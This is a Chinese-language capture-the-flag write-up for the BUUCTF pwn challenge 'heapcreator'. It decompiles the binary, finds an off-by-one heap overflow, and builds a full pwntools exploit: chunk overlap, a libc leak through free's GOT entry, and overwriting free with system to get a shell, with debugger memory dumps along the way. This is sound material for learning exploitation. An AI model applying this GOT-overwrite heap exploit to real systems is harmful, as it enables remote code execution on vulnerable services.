[BUUCTF]刷题记录:hitcontraining_heapcreator
作者:互联网
hitcontraining_heapcreator
1.checksec:
2.运行一下:
有四个功能,
3.ida分析:
1.mian函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); // 初始化
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
2.menu(菜单):
int menu()
{
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}
3.create_heap函数:
创建堆块
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) ) // 如果heaparray[i]没有指向堆块就申请一个0x20的chunk,让heaparray[i]指向这个chunk
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL); // 输入堆块的size,heaparray[i][1],也就是上面malloc的0x10的第2个字长处,让它指向一个新申请的大小为size的chunk
size = atoi(buf);
v0 = *(&heaparray + i);
*(v0 + 8) = malloc(size);
if ( !*(*(&heaparray + i) + 1) )
{
puts("Allocate Error");
exit(2);
}
**(&heaparray + i) = size; // heaparray[i][1],也就是0x10的第1个字长存储第2个申请的chunk的size.
printf("Content of heap:");
read_input(*(*(&heaparray + i) + 1), size);// 往第2个堆块里输入数据
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
4.edit_heap函数:
编辑堆块,存在off by one漏洞
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL); // 根据index给chunk编辑
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);// 这里**(&heaparray + v1) + 1LL表面可以输入chunk的size+1的数据,纯在off by one漏洞。
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
5.show_heap函数:
输出堆块的数据和size
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :"); // 根据index来show
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 1));// 输出堆块的size和content
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
6.delete_heap函数:
将堆块free掉,并置零。
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :"); // 根据index来free堆块
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(*(&heaparray + v1) + 1)); // 这里会把一次申请的两个chunk都free掉
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL; // free掉后回清0,没有uaf
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
4.利用思路:
1.第一步:
首先分别add 4个分别为0x18,0x10,0x10,0x10的堆块,这样就有1个0x18,7个0x10的堆块了,其中chunk3中写入的'/bin/sh\x00'后面要利用到,chunk0申请为0x18的原因是,这样申请,chunk0申请了一个0x18的堆块,但拿到了一个size=0x20的堆块,写入数据时只往本堆块写入0x10,下个chunk的prev_size域来补足这0x8,这样就可以溢出到下一个chunk的prev_size,然后再溢出1字节,利用off by one修改下一个chunk的size,触发chunk overlap。
add(0x18,'hhhh')#chunk0
add(0x10,'aaaa')#chunk1
add(0x10,'pppp')#chunk2
add(0x10,b'/bin/sh\x00')#chunk3
pwndbg> x/36gx 0x240f000
0x240f000: 0x0000000000000000 0x0000000000000021 #chunk00
0x240f010: 0x0000000000000018 0x000000000240f030 #chunk0的size和content存放地址
0x240f020: 0x0000000000000000 0x0000000000000021 #chunk0
0x240f030: 0x0000000068686868 0x0000000000000000 #hhhh
0x240f040: 0x0000000000000000 0x0000000000000021 #chunk11
0x240f050: 0x0000000000000010 0x000000000240f070 #chunk1的size和content存放地址
0x240f060: 0x0000000000000000 0x0000000000000021 #chunk1
0x240f070: 0x0000000061616161 0x0000000000000000 #aaaa
0x240f080: 0x0000000000000000 0x0000000000000021 #chunk22
0x240f090: 0x0000000000000010 0x000000000240f0b0 #chunk2的size和content存放地址
0x240f0a0: 0x0000000000000000 0x0000000000000021 #chunk2
0x240f0b0: 0x0000000070707070 0x0000000000000000 #pppp
0x240f0c0: 0x0000000000000000 0x0000000000000021 #chunk3
0x240f0d0: 0x0000000000000010 0x000000000240f0f0 #chunk3的size和content存放地址
0x240f0e0: 0x0000000000000000 0x0000000000000021 #chunk3
0x240f0f0: 0x0068732f6e69622f 0x0000000000000000 #/bin/sh\x00
0x240f100: 0x0000000000000000 0x0000000000020f01
0x240f110: 0x0000000000000000 0x0000000000000000
2.第二步:
利用 off by one 修改chunk11的的size,并把chunk11 free掉
payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)
成功修改chunk11的size,并free掉,触发chunk overlap。得到fake_chunk
pwndbg> x/36gx 0x1a6e000
0x1a6e000: 0x0000000000000000 0x0000000000000021
0x1a6e010: 0x0000000000000018 0x0000000001a6e030
0x1a6e020: 0x0000000000000000 0x0000000000000021
0x1a6e030: 0x6161616161616161 0x6161616161616161
0x1a6e040: 0x6161616161616161 0x0000000000000081 #chunk11的size修改成功
0x1a6e050: 0x0000000000000000 0x0000000001a6e070
0x1a6e060: 0x0000000000000000 0x0000000000000021
0x1a6e070: 0x0000000000000000 0x0000000000000000
0x1a6e080: 0x0000000000000000 0x0000000000000021
0x1a6e090: 0x0000000000000010 0x0000000001a6e0b0
0x1a6e0a0: 0x0000000000000000 0x0000000000000021
0x1a6e0b0: 0x0000000070707070 0x0000000000000000
0x1a6e0c0: 0x0000000000000000 0x0000000000000021
0x1a6e0d0: 0x0000000000000010 0x0000000001a6e0f0
0x1a6e0e0: 0x0000000000000000 0x0000000000000021
0x1a6e0f0: 0x0068732f6e69622f 0x0000000000000000
0x1a6e100: 0x0000000000000000 0x0000000000020f01
0x1a6e110: 0x0000000000000000 0x0000000000000000
3.第三步:
重新申请fake_chunk,并堆溢出修改chunk22中存放的chunk2地址为free_got地址
size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
pwndbg> x/36gx 0x1dc7000
0x1dc7000: 0x0000000000000000 0x0000000000000021
0x1dc7010: 0x0000000000000018 0x0000000001dc7030
0x1dc7020: 0x0000000000000000 0x0000000000000021
0x1dc7030: 0x6161616161616161 0x6161616161616161
0x1dc7040: 0x6161616161616161 0x0000000000000081
0x1dc7050: 0x6161616161616161 0x6161616161616161
0x1dc7060: 0x6161616161616161 0x6161616161616161
0x1dc7070: 0x6161616161616161 0x6161616161616161
0x1dc7080: 0x6161616161616161 0x6161616161616161
0x1dc7090: 0x0000000000000008 0x0000000000602018 #成功修改为free_got地址
0x1dc70a0: 0x0000000000000000 0x0000000000000021
0x1dc70b0: 0x0000000070707070 0x0000000000000000
0x1dc70c0: 0x0000000000000000 0x0000000000000021
0x1dc70d0: 0x0000000000000010 0x0000000001dc70f0
0x1dc70e0: 0x0000000000000000 0x0000000000000021
0x1dc70f0: 0x0068732f6e69622f 0x0000000000000000
0x1dc7100: 0x0000000000000000 0x0000000000020f01
0x1dc7110: 0x0000000000000000 0x0000000000000000
4.第四步:
通过show(2),输出chunk22里指向的free_got里的free函数地址,用这个地址泄漏libc,并计算得到system的地址
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
成功泄漏libc地址。
5.第五步:
修改free_got为system的地址,free chunk3,利用之前写好的"/bin/sh\x00",执行free("/bin/sh\x00"),由于free_got被修改为system的地址,
所以这里执行sysytem("/bin/sh\x00"),拿到shell.
payload3=p64(system)
edit(2,payload3)
delete(3)
pwndbg> x/20gx 0x602018
0x602018: 0x00007f10ea68c3a0 0x00000000004006a6 #修改为system的地址
0x602028: 0x00007f10ea6b66a0 0x00000000004006c6
0x602038: 0x00007f10ea69c810 0x00007f10ea73e350
0x602048: 0x00007f10ea667750 0x00007f10ea6cb180
0x602058: 0x00007f10ea6b6e80 0x00007f10ea67de90
0x602068: 0x0000000000400736 0x0000000000000000
0x602078: 0x0000000000000000 0x00007f10eaa0c620
0x602088: 0x0000000000000000 0x00007f10eaa0b8e0
拿到shell
6.exp:
![cc11a (7)](E:\CTFALL\PWNWP\hitcontraining_heapcreator\hitcontraining_heapcreator.assets\cc11a (7).png)from pwn import *
from LibcSearcher import *
context.log_level="debug"
#io=process("heapcreator")
io=remote("node4.buuoj.cn",26449)
elf=ELF("heapcreator")
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.send(content)
def edit(index,content):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.send(content)
def show(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
io.recvuntil("Your choice :")
io.sendline("4")
io.recvuntil("Index :")
io.sendline(str(index))
add(0x18,'hhhh')
add(0x10,'aaaa')
add(0x10,'pppp')
add(0x10,b'/bin/sh\x00')
payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)
size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
print("libc_base:",end='')
print(hex(libc_base))
payload3=p64(system)
edit(2,payload3)
delete(3)
#gdb.attach(io)
#pause()
io.interactive()
7.拿到flag:
标签:BUUCTF,v1,free,0x0000000000000021,hitcontraining,io,0x0000000000000000,heapcreat 来源: https://www.cnblogs.com/happynoy/p/16272767.html